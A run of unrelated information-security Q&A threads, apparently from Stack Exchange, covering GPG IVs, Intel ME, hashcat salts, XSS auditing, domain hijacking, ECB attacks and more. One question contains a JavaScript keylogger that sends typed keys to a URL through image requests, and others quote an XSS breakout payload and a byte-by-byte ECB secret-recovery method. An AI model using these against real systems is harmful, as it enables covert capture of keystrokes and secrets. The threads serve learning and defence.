Do I have to use an IV when using GPG with AES 256? Do I have to use an IV when using GPG with AES 256?  Or does GPG handle that for me?

I've noticed that I get different results each time I run the encryption, i.e.

gpg --symmetric --cipher-algo AES256 --armor test

But is this secure enough without an IV?

I'm going to refer you to Thomas Pornin's answer to Will encrypting the same file with GPG and the same key produce the same ciphertext?, which is (as usual) really excellent.

It boils down to: Yes, there is a random IV and an additional random salt during the password to key transformation.

The relevant paragraph is:

  The third point also applies when doing password-based encryption (encryption is done with a password, not with a recipient's public key). Password-based encryption also adds a fourth randomization, which is the salt in the password-to-key transform, 3.7.1.3.

Section number added by me from his quotation, link updated.

The third point is:

  When doing the symmetric encryption itself, a random IV is used, and will be different (with overwhelming probability) for each invocation. See section 5.7 for details.

Link updated again.


How can I prevent a computer from turning ON? I was reading this question on Stack Exchange Workplace community and it indicates that an IT team was able to prevent a user from turning their laptop on (power on).

My laptop access has been shut off (IT somehow remotely shut it down,
it won't power on), company cell doesn't work, can't access e-mail via
webmail.

I know that an IT system administrator can prevent a user from logging in. But, is this possible?
If it is, what are technologies that can be used to do something like this?
Linked question: https://workplace.stackexchange.com/q/166838/86347

Out-of-band management
Intel Management Engine and amd DASH are separate microprocessors that remotely manage enterprise PCs. They run with Ring -3 privilege on the machine and run outside of host OS.
It can lock stolen devices, remotely erase data, track location, wake on LAN and wake on wireless LAN, control host OS and detect third party live USB boots.

It is capable of accessing any memory region without the main x86 CPU knowing about the existence of these accesses. It also runs a TCP/IP server on your network interface and packets entering and leaving your machine on certain ports bypass any firewall running on your system. [1]

As it requires a power source, in enterprise Desktops, keeping the switch on is enough for motherboard to draw power as shutting down the host OS does not shut down the AC power supply to the power supply unit of the motherboard.
There is no way to disable it from UEFI. Removing the microprocessor or modifying its firmware which is stored in UEFI will prevent system to boot. Disabling secure boot or using custom UEFI keys will not disable its firmware verification.
This is how Intel verifies it, amd's implementation could be different:

The ME firmware is verified by a secret boot ROM embedded in the chipset that first checks that the SHA256 checksum of the public key matches the one from the factory, and then verifies the RSA signature of the firmware payload by recalculating it and comparing to the stored signature. This means that there is no obvious way to bypass the signature checking, since the checking is done by code stored in a ROM buried in silicon, even though we have the public key and signature. [1]

Once stolen devices are locked, they don't respond to power button signal. In old motherboards with BIOS, they used to respond but immediately shut themselves down.
Consumer PCs also have Intel Management Engine microprocessor and Intel Management Engine Interface driver pre-installed in Windows but Intel Active Management Technology software is not installed by OEMs in consumer PCs.

Can it be reversed, or will this brick the device?

If the device is locked by the remote administrator, it can unlock it using wake on LAN and a specific unlock instruction to the chip. This is how my organisation used to handle enterprise laptops with sensitive data. The chip is bounded with its firmware in UEFI, hardcoded with chipmaker's public key and is probably hardwired to the motherboard in order to brick the device if chip is removed. Intel is secretive about its implementation.
That didn't stop researchers to partially disable it from its firmware:
Disable Intel’s Backdoor On Modern Hardware (2020)
Researchers discovered an undocumented configuration setting that can used to disable the Intel ME master controller that has been likened to a backdoor.  (2017)

Out-of-band management
[1] Intel x86s hide another CPU that can take over your machine (you can't audit it)


Encrypt user data on DB I'm developing a server (Java + Spring) and I want to encrypt users' sensitive data on the database, using a key that's specific for each one.

I thought of encrypting the user's data using their password as a base for the key but...

I'm only storing hashed (bcrypt) passwords on the database
User only sends the password to the server when creating their account and logging in. For request authentication it's using JWTs (only containing the user Id, with a strong secret and a low expiration time) generated after each login.

I thought of storing the password as plain text on the database but that leads me to the same problem, if the db gets compromised, an attacker could easily decipher user's content.

Is there any way to accomplish this?

One option is to generate the users key from their password at login (or store randomly generated keys encrypted with it). This is then stored in memory while they are logged in and wiped from memory on logout / session expiry.

There are still issues here -

How do you enforce wiping the key on session expiry? - an action occurring here isn't usual server workflow.
You need to take steps to prevent the keys being paged out to disk.

Another option is to encrypt/decrypt at the client side using something like the WebCrypto API.


Should I only disable, but never delete an account from ActiveDirectory? In the early days of NT4, I would never delete an account from the domain because I would lose the correlation between the SID and username in event logs and all related audit trails.

Is this a practice I should continue in Windows 2008R2?

How should locations with seasonal user accounts handle this?  For example a school could give every student an AD account, and then disable them at the end of the semester.  In just a few semesters, the quantity of accounts in "dormant mode" would grow quickly.

What is the best way to handle this situation?

Years ago I worked at a school board of 40,000+ users/staff, and each user had an AD account.

There was an Identity Management System in place, so the student records would populate AD. As long as the records were in the student system in a given state, the students existed in AD, but disabled if they had graduated, or whatever. Once the state of the student changed, the user was removed from AD, which if memory serves was a few years after graduation. I don't recall exactly, but I believe they were moved into a seperate OU too. They were kept because there was always a possibility that students would return for an extra semester, or work over the summer, or whatever.

The moral of the story: AD can easily handle large amounts of users, but removing them is dependent on the case of the user. If you need to keep the audit trail, leave the user but disable them and move them into a different OU. If they are seasonal, but may return leave them but disable them until they don't return for n number of seasons.


Why does Chromes XSS filter block injection into HTML element, but not into attribute? I have this vulnerable code which takes a GET parameter, and puts it inside a HTML element (h1) as well as inside a HTML attribute (data-text):

$data = $_GET["payload"];
echo "
" .$data. "
";
echo '

';

The Chrome XSS auditor will block  in the first echo (inside the element), but not in the second (inside the attribute) even though the payload could be executed through a script gadget.

Why is that?

Because there is no vulnerability resulting from the HTML code in the second case (you would need to close the tags first, eg '"><script>alert(1)</script>; this would be caught by the auditor).

You may have JavaScript code which further processes your HTML code and thus introduces an XSS vulnerability in the second case as well (eg via script gadgets), but that is not what the XSS Auditor monitors:

  The XSS Auditor runs during the HTML parsing phase and attempts to find reflections from the request to the response body. It does not attempt to mitigate Stored or DOM-based XSS attacks.

The JavaScript interpreter will be run after the HTML parser, so any vulnerabilities introduced by JavaScript will not be caught by the XSS auditor.


Can't figure out input format for Hashcat salts with odd characters in salt I have passwords that are stored by:

Generating a random, 36-character "string" in the range of CHAR(1) to CHAR(256)
Appending this to the entered password
Retrieving the SHA512 hash of the result

So, 'password' could have the string ³{ó‘#«,IýD÷¸Eâ‘Óá appended to it (hex representation: 0x04B37BF39123AB2C49FD44F7B845E291D3E1004DB8B2E460AE6E2438FB27B70AF5E1C709)

And then hashed. This is all done in SQL Server, if it matters, but the point is that the hash is a string that will (frequently) contain junk characters that aren't well represented and I think are messing with hashcat reading the input file in.

I then end up with:

0xF2CCA232766DE6F048F758044451EA1E667FC6587C578AF472C97F3CE3B929B76A7B2842953DCF7B6C63638A58794BC3BCC4DF7CB6783A3E8D18AB2BE056F0ED

as the generated, salted, hashed representation of "password".

I'm struggling to work out how to present this form of salt to hashcat; the examples I can find and have tried to run through hashcat, have worked and if I put a "simple" salt in and generate it, it'll correctly work out the result.

so, my input file looks like:

6AA4C7EC30802E51C2A2B35AA5B082D5CB191411C27B01A2BEE6A799B0D9EC39829489F99C679AA7F056F676429041ED6BCA6C63C657C87F4E4BB68C59AD345B:salted
F2CCA232766DE6F048F758044451EA1E667FC6587C578AF472C97F3CE3B929B76A7B2842953DCF7B6C63638A58794BC3BCC4DF7CB6783A3E8D18AB2BE056F0ED:³{ó‘#«,IýD÷¸Eâ‘Óá

and a dictionary file containing just "password" -- it retrieves #1 but not #2.

Can anyone advise?

So, I've figured this out. Hoping leaving it her helps someone as stupid as me in the future.

In hashcat, you can convert the salt string to it's binary values and present it in hexadecimal form, with the --hex-salt option.

So the input file would look like:

F2CCA232766DE6F048F758044451EA1E667FC6587C578AF472C97F3CE3B929B76A7B2842953DCF7B6C63638A58794BC3BCC4DF7CB6783A3E8D18AB2BE056F0ED:04B37BF39123AB2C49FD44F7B845E291D3E1004DB8B2E460AE6E2438FB27B70AF5E1C709

which then, correctly, comes out with the result. :joy:


Does a popular technique prevent HSTS from working within a Firefox browser session? Firefox stores HSTS data in a file named SiteSecurityServiceState.txt.

This poses two serious issues:

It creates an opportunity for tracking.  See http://www.radicalresearch.co.uk/lab/hstssupercookies
It creates a privacy issue by leaving behind a plain text list of many of the secure sites the user visited, even after they have cleared the browser's cache and history.

Because of these issues, many people have chosen to create a dummy SiteSecurityServiceState.txt file by creating a zero-byte file with that name, and marking it as read-only.

This technique prevents Firefox from writing anything to SiteSecurityServiceState.txt.

Obviously, this prevents the inter-session benefits of HSTS (meaning one Firefox session benefiting the next session), since no data persists.  But does this technique prevent the intra-session benefits of HSTS (meaning the benefits within a single Firefox session)?

As an aside, other major browsers suffer from these same issues.  But to keep answers focused, this question only deals with the Firefox browser.

According to Comment #68 on bug 775370 the file is flushed on browser exit or after five minutes. This is the bug that introduced the SiteSecurityServiceState.txt file.

It implies that intra-session HSTS "cookies" are stored in memory.

From a quick glimpse at the code it seems it's a memory data structure called DataStorage that's serialized to the file.


Linux: Whitelist device file access to programs Is there a way to allow only a specific program to access a device file (e.g. serial interface) in Linux?

Could I maybe create a user that is the only one with access to the file and set that user to be only allowed to run a specific piece of software? Or is there a way to make the system require sudo password for accepting the use of device file without running the program itself as sudo? Or can this be handled with an external program?

The way to do it is to check the permissions of the device "file" under the /dev folder. Then normally, you would add the user that is running the program to the group.

You can obviously change the permissions on the device file but doing so may well break other things in the OS which may be expecting a certain set of permissions and access.

All access in Unix/Linux is generally done by controlling what users/groups can access which files/folders and what they can do with them (read, write, execute).

So the direct answer to your question is yes. Create a specific user or group to run your app and only give that user/group access to the device file. Just be aware that you might get unexpected side-effects. You should not try to force apps/devices to require elevated rights via SUDO if you don't need to.


Suggestions shown in password field I have an Android app that has a login page. While accessing from the browser, suggestions are shown for username field. This is fine. However, it shows suggestions for password field also. I just would like to know what sort of security issues that might arise.

It shows previously used passwords. There is no password manager feature. Looks like the data is cached as plain text. The field is of type text or password based on a flag. If type is text, password suggestions are shown. Does this look like a software bug or security issue?

Yes, the application is vulnerable to Side Channel Data Leakage.

Words entered by a user via the keyboard are stored in the Android user dictionary(/data/data/com.android.providers.userdictionary/databases/user_dict.db) for future auto-correction. The user dictionary is available to any app without requiring any permission and this could lead to sensitive data being leaked.

It is recommended that for the sensitive data inputs the XML attribute android:inputType should be set with the constants such as textPassword, textVisiblePassword, etc. in order to prevent the sensitive data caching by the keyboard.


Prevent finding key in C++ application binary I need to store a key (symmetric-key cryptography) within my C++ application binary (based on OpenCV) so that the key as unidentifiable as possible. Can someone help me choose the key so that is secure and it will be difficult for an attacker to find the key in the binary?

If I choose plain text (regardless of length) then this will be saved as text in my binary and will be easily identifiable, am I right? So I probably want to select a key that looks like a generic binary content.

I guess having multiple keys that will be used in predefined order may also make it more secure since the attacker has to find all the keys (which may be stored in different places within binary).

I need to choose this type of protection because of the nature of my application. I accept the risk of an attacker finding the key - in such case I will use new key and new application binary - but I do not want to do this very often (hopefully never).

I know it is impossible to have 100% key security this way but I want a basic level of security so that the attacker needs to have some knowledge at least.

Basically, you can't.

What you look for is DRM by any other name, and history has shown time and time again that DRM isn't effective. Any skilled attacker in possession of the binary is therefore also in possession of the key, regardless of how well you hide it.

Even if you were to store the key on your server and load it dynamically from the internet, the attacker can either intercept it as it is being transmitted, or dump the key from memory once it has been loaded.

In fact, the attacker doesn't need the key at all, since once it is being used to decrypt some data, the attacker can just dump the decrypted data from memory, once decryption has finished.


is it safe to allow external images to be attached to Blog or any Web content? I am filtering all images that attached to any content of my blog:

Check for file extension.
Check content type using $finfo = finfo_open(FILEINFO_MIME_TYPE);
I also save the image temporary on my server and check the size using getimagesize() then I delete it if the function not returned false.

But after these checks, I will not re-check the image.

What happened to me

On one user profile I can see my IP address on the image each time I visit the user profile. This is an example I attached to this post:

Now, I can conclude that allowing user to attach any image will be dangerous because of this cloaking file attack that can generate dynamic image on each request.

Is there any mechanism to prevent this?

or should I remove all attached images from user profile and saving each image on my server

If its just a simple profile picture,  you can avoid most security threats by using a trusted 3rd party like Gravatar(which is what security.se uses).  Using a linked image as a "Web Bug" are unavoidable with remote images but apparently a lot of people don't care that Gravatar can track them.   Storing an attacker-controlled file locally creates other security threats.

More generally,  you do not want to store user-controlled files on your server.  A good example of exploiting this type of vulnerability is using a PHP local file include (LFI) vulnerability to obtain remote code execution.  Even storing an attacker controlled file temporarily is a security threat that can be exploited with an LFI attack.

Verifying that the link is in fact an image using getimagesize() helps prevent CSRF.  However,  even a valid image file can contain PHP tags in the EXIF metadata,  and that could be used in a LFI attack.   LFI attacks like this can be prevented using PHP's open_base_dir configuration option to prevent PHP from including files in the image or temporary directories.


What's involved in taking over someone else's domain name? I'm asking this for purely academic reasons.

I know that there are domain record lists and whatnot, but I'm trying to understand the exact structure of how DNS works and where someone can potentially take over a domain name. Even if my web-app has absolutely no holes in it, can't someone just change the domain records to point elsewhere and hijack my traffic?

Domain hijacks don't happen via web application hacks, but are usually via vulnerabilities in the domain registrar's system, or by managing to intercept/take over the email accounts the domains are registered to - so the attacker can reset the passwords and intercept the transfer emails, agreeing to the transfer.

Normally it'll happen by managing to convince the domain registrar that the attacker is the owner of the domain, using personal information about the domain owner to access their account on the registrar and then either switch the DNS servers to an attacker's DNS servers from where they can redirect how they like, or by transferring the domain to the attacker.

Or of course there's simply waiting for the domain to expire and grabbing it before it's renewed.

ICANN produced a report in 2005 about this issue, covering the risks and actions you can take.


How does malware such as Stuxnet and Flamer propagate through USB memory sticks? The best explanation I found is from this article but it still is unclear to me. Apparently a new vulnerability has been found involving .lnk files where when a folder on the memory stick containing the .lnk file is viewed any file on the stick can be run? How does this work and is this a zero day vulnerability?

You are almost correct - .lnk files should be a shortcut to a file, but here the .lnk itself is crafted to effectively autorun an exploit rather than calculate the shortcut to the intended file.

The Microsoft Security Advisory from 2010 gives more information along with the fix in MS10-046 so this is not a zero day.


TLS Certificates only for Clients I'm aware that sites like StartSSL use Client-Certificates, I opened mine in Firefox and it showed me: "SSL-Client-Certificate", "E-Mail-Receiver-Certificate", "E-Mail-Signer-Certificate".

Now I'm asking myself, for self-signed certificates, is it possible to restrict usage of X.509(v3?) certificates to be only TLS-Client? (-> no server / no S/MIME)

Yes, it is possible for X.509 to be only "TLS client" (actually to have the extended key usage only set to client). I suggest you to take a look at XCA, it is free a graphical tool which will allow to easily create and manage certificates (it is actually a small PKI).

You will then be able to visually see all the main options a certificate can have, which one fits in the client or server template profiles, and play with these options.


How do I verify a signature using DSA and my own "y" value in Python? I have to verify a signature using DSA FIPS 186-2 (I know it is not used anymore, but I need to make it work for a legacy system). My problem is I have the "y" DSA value, but I cannot work out how I can feed that into the Python code to create my own public key from the "y" value and then apply the verify.

For example below is what I have, but instead of generating a NEW key, I need to use my existing value?

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import dsa
from cryptography.exceptions import InvalidSignature

private_key = dsa.generate_private_key(
     key_size=1024,
     backend=default_backend()
)
data = b"this is some data I'd like to sign"
signature = private_key.sign(
     data,
     hashes.SHA1()
)

public_key = private_key.public_key()

try:
    public_key.verify(
             signature,
             data,
             hashes.SHA1())
except InvalidSignature:
    print ("Invalid")

A DSAPublicKey instance can be created from a DSAPublicNumbers instance, which can be created using the raw values:

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.dsa import DSAParameterNumbers, DSAPublicNumbers

param = DSAParameterNumbers(p, q, g)
pnum = DSAPublicNumbers(y, param)

pubkey = pnum.public_key(backend=default_backend())

Note that in addition to the y value, you will need the DSA parameters p, q and g.


Logging SSH commands on Linux - is custom kernel the only way? I've done some research and it looks like that the way linux keeps history is less about security and audit and more about helping the user.
Even after making changes to instantly log the command and space commands the command still wont log till finished.
Is there any way to improve audit logging other then possibly writing a module for the linux kernel that will instantly log whatever is typed?

We use a Privileged Access Management (PAM) program to handle access control.  Not only will it control who can run ssh remote commands, but it will also log it immediately... who ran what command on what host an when.


Where does nikto tool store its default reports? I ran the nikto security scan tool against one of our dev sites.

perl nikto.pl -h mydevsitename

The output mentioned

7646 requests: 14 error(s) and 3 item(s) reported on remote host

None of the errors were printed on the screen, where can I find more info about these errors that it indicated? or where does it stores its reports by default?

Try this:

perl nikto.pl -verbose -h example.com

Also look up -output parameter in nikto manual.


Mutual SSL - Using Public CA for Client Auth CSR signing I have been reading a lot of articles regarding Mutual SSL, Two-Way Authentication or Client Authentication and I have a general enquiry which may have been answered in content that I've read but if it has, I haven't understood it.

My understanding of a Public Certificate Authority is that they take care of verifying that an external entity is whom they claim to be. In this case, "Entity A" requests a Public Certificate which contains both client authentication and server authentication key usage. Lets use "Public CA 01" as the fictional CA signing client auth CSRs.

I then have a Web Service that has a certificate issued by "Public CA 01" (Verifying that the web service provider and the server that the certificate is installed on, is indeed owned by the organization that requested the certificate).

If for example "Entity C", generates their own private key, generates a CSR with ClientAuth key usage and has that CSR signed by "Public CA 01" (say for example the same intermediate as "Entity A"), and I trust "Public CA 01 CA's Root, Intermediate or both in a bundle file" which is used for client authentication validation, isn't it possible for either Entity A or C to present their issued Client Authentication Certificates to the Web Service and a successful SSL connection would occur?

The key reason for asking this is two-fold;

Web Service company does not want to use Private CA which would have been ideal and ensure that the Web Service company could vet/ensure that the requesting entity is whom they say they are prior to cert issuance. (Client Auth component)
Web Service company uses standard Public CA for Server Authentication (stock standard client verifying the authenticity of the web service - 99% of browsers would be trusting the CA that issued the certificate).

Can someone please confirm that if using a Public CA for Client Authentication, that it is imperative that at least some level of white listing is done service side if you would like to restrict access at the SSL level, enabling the lifting of IP white listing on perimeter firewall to selective entities?

Thanks in advance, apologies if this has already been asked or if there is a similar article that explains this specific scenario.

Your question is not trivial to understand, however I think to know what your actual question is:

  Who authenticates / signs the certificates for both parties involved in a mutually authenticated TLS handshake?

For the server, the answer is clear: A CA trusted by the client (e.g. a standard CA) has to sign the server's certificate.

For the client however, the answer is more flexible.
During the TLS handshake, if the server requests client authentication, the server also sends a list of (direct) CAs it's going to accept. Thereby the server can just run their own Client CA to authenticate their users or the server can send a list of (standard) CAs it is going to accept or the server can just send an external CA with which the owner is contracted.


Does concealing server software versions have a notable effect on security? Web servers can add Server, X-Powered-By and similar headers into HTTP responses. Looks like the consensus is such headers should be removed so that automatic vulnerability scanners don't immediately know which version of which software they're dealing with and so automatic vulnerability discovery gets harder.

Sounds good, but... It's often easy to find what software a service runs on from other sources. For example, it's well known that Stack Exchange runs on IIS and ASP.NET, then looks like it doesn't matter much if Stack Exchange suppresses Server and X-Powered-By.

How important is that? To what extent does stripping these headers help? Is it just to feel safer or does it have real, notable effect?

The question is regarding "Security through obscurity"1. Does hiding your design/implementation (e.g. what server you are running) lead to less instances of exploitation? This is a long debated subject with reasonable arguments on both sides of the fence.

All security practices are a tradeoff between cost (e.g. effort, maintainability, money) and benefit (reduced instances of exploitation, reduced impact of those inevitable instances). In this case the cost is the effort it takes to change the string and the benefit is some degree of obscurity. However, (as you noted) in a targeted attack (and by that I mean someone is determined to get into your systems) there are other methods of canceling out that benefit (e.g. looking at default error pages, default files, obscure stuff like cookie handling, and pwning something else). In a non-targeted attack (and by that I mean some skiddie looking for low hanging fruit or a dumb automated piece of software scanning the internet, same thing) you avoid harassment.

HOWEVER, the actions needed to secure against a targeted attack (regular updates, access controls, sane configuration, good data hygiene) would protect against aforementioned non-targeted attacks. These are by far the best bang for the buck and what you should be doing.

So, if you are out of other things to do, then go ahead and hide your server tokens. It'll stop people from noticing low hanging fruit if you are super late applying patches or something else fails. However, note that in that case you may already be dead in the water. So if there is anything left, your time is better spent attending to that or asking good questions like this one.

Personally I prefer adding humorous server tokens to make attackers laugh or incorrect server tokens to confuse them. minorcrash.com (when up) currently has DOM injection that renders a picture of a cat being hit by a snowball.


Regedit shows strange chinese characters in my system - should I be worried? I suspect that my system has been hacked into. I see huge drops in free hard disk space for a while and then the space returns to near old values. A few days ago, when I clicked "my computer", I saw the properties of the computer instead of "my computer". Start menu showed me the same thing. I rebooted my system and things became normal. All my browsers hang for a while. Additionally, sometimes my FB login page looks weird and unlike the regular page (browser injection?) Then, there are these chinese alphabets in the attached image:

HKEY_CLASSES_ROOT\楖敤䱯乁嘮䍌汐杵湩.1

Is it possible that my system is infected with some stealthy malware? If yes, how do I check if it is really malware?

I am worried to death now. All the paid av, sandboxing, no-scripting finally might have amounted to nothing. :(

Source appears to be the VLC browser plugin. The weird name is a text encoding bug (ASCII as UTF-16).

Not anything to worry about in itself.


MySQL authentication, how to pad the 20-byte salt Im authenticating with a mysql server with the authentication method listed here.

I observed the salt and hash using wireshark, and I know the password, but I am having trouble reproducing the hash I saw.

My question is about the salt. I observed in wireshark that this salt was only 12 bytes and null terminated. I noticed someone else had a salt of the same length as mine. So...is this salt padded? How is it padded? I can't find anything about how to turn the 12bytes they give me into the 20bytes I use in my calculations.

The blog post at Portcullis security seems to be saying that you have to hash the 12-byte "salt" with SHA1 to turn it into a 20-byte string before prepending it to the hashed password.


Can you find out how big the changes are by comparing two hashes? I realize that a hash function is a one way function, and that changes in the hash are suppose to tell us that the original data has changed (that the entire hash changes on even the slightest changes to data).

But is there a way to find out to what degree has the original data changed when two hashes are different?

No, at least with a good hash function.
You can test this yourself by creating a hash over a specific data set, and then a modified hash over a different data set. You will see that every bit of the resulting hash function has about a 50% chance of flipping.
I'll demonstrate this by creating the SHA-256 hash of the string MechMK1:
$ echo -n "MechMK1" | sha256sum
2c31be311a0deeab37245d9a98219521fb36edd8bcd305e9de8b31da76e1ddd9

When converting this into binary, you get the following result:
00101100 00110001 10111110 00110001 00011010 00001101 11101110 10101011
00110111 00100100 01011101 10011010 10011000 00100001 10010101 00100001
11111011 00110110 11101101 11011000 10111100 11010011 00000101 11101001
11011110 10001011 00110001 11011010 01110110 11100001 11011101 11011001

Now I calculate the SHA-256 hash of the string MechMK3, which changes one bit of the input:
$ echo -n "MechMK3" | sha256sum
3797dec3453ee07e60f8cf343edb7643cecffcf0af847a73ff2a1912535433cd

When converted to binary again, you get the following result:
00110111 10010111 11011110 11000011 01000101 00111110 11100000 01111110
01100000 11111000 11001111 00110100 00111110 11011011 01110110 01000011
11001110 11001111 11111100 11110000 10101111 10000100 01111010 01110011
11111111 00101010 00011001 00010010 01010011 01010100 00110011 11001101

I compared both results and checked how often a bit differed from both hashes, and exactly 128, or 50% of all bits differed. If you would like to play around with this yourself and see what kind of results you get, I created a simple C program that does exactly that.


Can a javascript on parent page log keystrokes inside an iframe? I am trying to analyze the possibility of accessing keystrokes from an iframe using a javascript running on the parent page. The potential attack which I am looking to verify is Cross Frame Scripting.

From the OWASP page, I read that the listener in parent page would get notified only if the keystroke events are from the parent page itself and not the iframe.

Is that always the case?
If the framed content is of same origin,
would any of the browsers behave differently?
I have confirmed on
Chrome that this attack doesn't work. But is there any alternate way
to perform this attack?

This is the javascript running on my parent.

var keys='';
var url = 'http://localhost:8883/key?c=';

document.onkeypress = function(e) {
    get = window.event?event:e;
    key = get.keyCode?get.keyCode:get.charCode;
    key = String.fromCharCode(key);
    keys+=key;
}
window.setInterval(function(){
    if(keys.length>0) {
        new Image().src = url+keys;
        keys = '';
    }
}, 1000);

1)Yes

2) No (although plugins could in theory alter this behaviour, but I do not know of any myself)

3)Unless there is a vulnerability exploited in a browser that is yet to be patched, or the use of a malicious/rogue browser, then no you cannot


Email sender appears to know friend's name? I received a suspicious personal email from someone whose username is the first and middle initial, and last name, of a friend. (My contact with said friend is usually via social media.) Header info indicates it originated in Vietnam and arrived via a server in Utah.

Coincidence, or change my password? I have in the past implemented weighting to identify spam, but I wonder what methodology might be used to assess this?

This is a simple attempt at phishing. It is not hard at all to spoof an email and make it appear as it came from whatever address you want. If you don't open the email you are fine. If you open it but do not click any links or allow to run any scripts you are fine.

How serious it depends on exactly what the email content was and what links they tried to get you to click.  If you clicked a link and it looked like your bank's page, then yes call your bank and put extra security measures on your account.

How this comes about would be if one of your facebook friends has security set to allow anyone to view their friend's list, or their account was compromised.  That si how they learned of your connection to the person whose address they spoofed the email. The reasons for doing this is because if you think if the email is from someone you know, you are more likely to open it and handle it as trusted.

How they got your email address is another thing to think about. If your facebook friend has their friends list set to public, that still would not reveal your email address unless you have your email address visible to everyone. If your email address is set to be visible to only friends, then one the attacker friended one of your facebook friends ( which isn't hard to do) and that made your email address visible to the attacker. I set my email to visible only to me. This is what I recommend because you cannot control the security practices of your friends or keep them from accepting friend requests from attackers.

Another possibility is they had your email address to begin with, from some other means, and perhaps your friend list is set to public, so they started with your name, then got your email, and then got your friends list so they could craft an email that looks like it is from someone you know and trust.


How difficult is it to modify an ISO image and still have the old md5 check sum? If I want to download the ubuntu11.04.iso then:

UBUNTUMIRRORSRV -> ISP -> ISP -> etc. -> MYPC

I just want to ask that how difficult is to spoof the original MD5 sum (e.g.: the md5sum would be reachable through HTTPS!).

So we have:
- on the ubuntumirrorsrv: XY md5hash, and XZ ubuntu iso
- on mypc (the downloaded iso from ubuntumirrorsrv): XY md5hash, and XY! ubuntu iso.

so could the md5hash be the same (as the original one on the ubuntumirrorsrv) if there were a "mitm" attack, that modified (put a trojan) in the ubuntu iso (e.g.: one of my ISP)? (+- a few MBytes) - how difficult could that be?

It would be difficult to the point where to seriously suggest it even remotely possible is verging on lunacy.

There have been some demonstrations of theoretical attacks against MD5 wherein the "attacker" could create message data intended to yield a predetermined MD5 hash. But this is miles and miles away from adding a non-jibberish file to an ISO and having it give the same hash.

A much more likely attack scenario would be the MitM altering the page that lists the MD5sums before it gets to you so that you see the attacker's hash rather than the real one. However unlikely this may be, here are the hashes for your comparison:

  ubuntu-11.04-desktop-amd64.iso 7de611b50c283c1755b4007a4feb0379

  ubuntu-11.04-desktop-i386.iso  8b1085bed498b82ef1485ef19074c281


How are chosen plaintext attacks against ECB implemented in the real world? Reading up on attacks against AES i have seen countless examples of why ECB is bad, and the logic behind it i can understand, but i can't get my head around how these attacks actually work in the real world.

So the big example that i see getting used a lot is a session token that is encrypted with AES-ECB, and as its a session token (cookie for example) we can repeatedly inject chosen plaintext and monitor the changes in ciphertext, assuming the session token is always encrypted under the same key. But how from that do we infer the correct plaintext?

For example, say i inject 64 A's as my username, and in the hex dump of the cookie that gets returned i can see the tell-tale repeating 16 byte blocks that indicate pretty conclusively the encryption is AES-ECB. I can change the last 16 A's to instead be 15 A's a B, so i know now not only what the ciphertext for 16 A's looks like, but also what the ciphertext for all A's and a B looks like.

But after that i get stuck and i can't see how this attack expands out to become practical. So far all i can see is we know what the last byte looks like, and a bunch of A's.

Good explanations i've seen so far have been: https://vimeo.com/41116595 although he loses me around the 42 minute mark, and http://www.slideshare.net/ceng/cryptography-for-penetration-testers-pdf-version-presentation

EDIT: After thinking about the problem, i think a better way of phrasing this question would be - assuming the block we control is an arbitrary length into the ciphertext, and the total ciphertext is an arbitary length, how do you calculate the length of the prefix (the number of A's) to inject so you can decipher each successive byte?

EDIT: The above edit which forms an addition to the question, "how do we calculate the length of the prefix" is actually inaccurate. I've found its trivial to calculate the prefix length of the ciphertext that we do not control, and the ECB attack as i have seen it explained is designed to decipher text the comes explicitly after the ciphertext of the the chosen plaintext.

Sounds like you're well on your way to figuring this out. I've never exploited ECB chosen plaintext, but I recently did a padding oracle exploit, so I've got some idea how you would do this.

The basic idea is to brute force one byte at a time.

Just suppose we have a simple example where there is no other data inserted so it's just "[username][secret]". First, set your username to 16 A's. Then you change the last character to a B. In fact, go through all the 256 possible values for the final byte, and keep a record of the cipher texts.

Now set your username to 15 A's. The plaintext block will consist of your 15 A's, and one byte from the secret. The ciphertext will match one of the ciphertexts you previously generated, and from that you can deduce one byte of the secret.

Now set your username to a 16-character value: 14 A's, the one byte of plaintext you know, and cycle through the 256 possible values for the final byte. Record all the ciphertexts. Next step is to set your username to a 14 A's, and nothing else. From the generated ciphertext you can deduce the second byte of the secret.

Carry on and pretty soon you have the full secret!

In a practical scenario there are likely to be other things that make exploitation harder, but this is the basic idea.


Why does Microsoft Authenticator app ask me to choose a number? I've got the Microsoft Authenticator app installed on my Google Pixel phone. When I sign into a Microsoft site, the site shows me a two-digit number (e.g. 34) and the app on my phone asks me to choose the matching number from three similar two-digit numbers (e.g. 28, 34 and 37).

Once I've picked the matching number (34), the site login continues.

What's the threat model here? What attacks is this protecting me from that a simple Yes/No prompt on the phone (as Google uses) wouldn't?

This is a way of closing the loop by ensuring that the phone owner knows the information provided by the website. In principle, it seems to add little benefit since, if you are entering your credentials on a phishing site, and that site is using your credentials to log in, it could channel back the presented number that you need to provide on the phone. (It would be a little harder than doing so asynchronously, but not that much)

This is different than eg. a prompt from a bank, where presenting/asking the amount to be transferred makes sense to avoid an attack where the amount of the transaction had been tampered with.

If an attacker knew your credentials and you always logged in at the same hour, this would prevent that an attacker logged in at the same time as you and you inadvertently gave access to them, but it seems extremely hard (maybe if you are aand the attacker was viewing your login screen?). Also, I'm not sure how do either Microsoft or Google react when receiving two concurrent login requests for the same account, they could deny both of them in that case.

A scenario where this would matter is if the phone bearer is different than the one logging in, so a number-choosing forces that there is a communication from the one logging in to the bearer, while a Yes/No question could be approved without paying much attention (oh sure, this must be Bob).

My suspicion is that this is implemented as a defensive approach, in order to avoid that people get used to always tap Yes and approve everything, perhaps even before realizing what they are doing. The number-choosing method forces the user to be aware of the actual application that is requesting access at this point.

Finally, even if this is only slightly more secure than a Yes/No question, its cost is so low that it makes sense that they implemented this.


What is the best way to mitigate malicious bot traffic on a Node Express server? My public website is getting a lot of get requests to endpoints like "wp-login.php", ".env", ".git/HEAD" and many others. This seems to be a non-trivial portion of my website's traffic and I'd like to discourage it or at least reduce its impact.

Option 1.

I've heard of tactics such as redirecting such requests to random 10 hour long youtube videos, like so: https://twitter.com/nick_craver/status/720062942960623616 Is this effective against a significant portion of these actors?

Option 2.

I could block ips that make requests to such endpoints by using something like this:

var http = require('http');
http.createServer(function (req, res)
{
    var ip = req.ip || req.connection.remoteAddress || req.socket.remoteAddress || req.connection.socket.remoteAddress;
    if (ip == '127.0.0.1') // exit if it's a particular ip
        res.end();
}

source: https://stackoverflow.com/questions/12349251/restrict-access-to-node-js-based-http-server-by-ip-address

or something like this: https://www.npmjs.com/package/express-ipfilter (though this seems to require a redeployment to add new ips to)

Option 3.

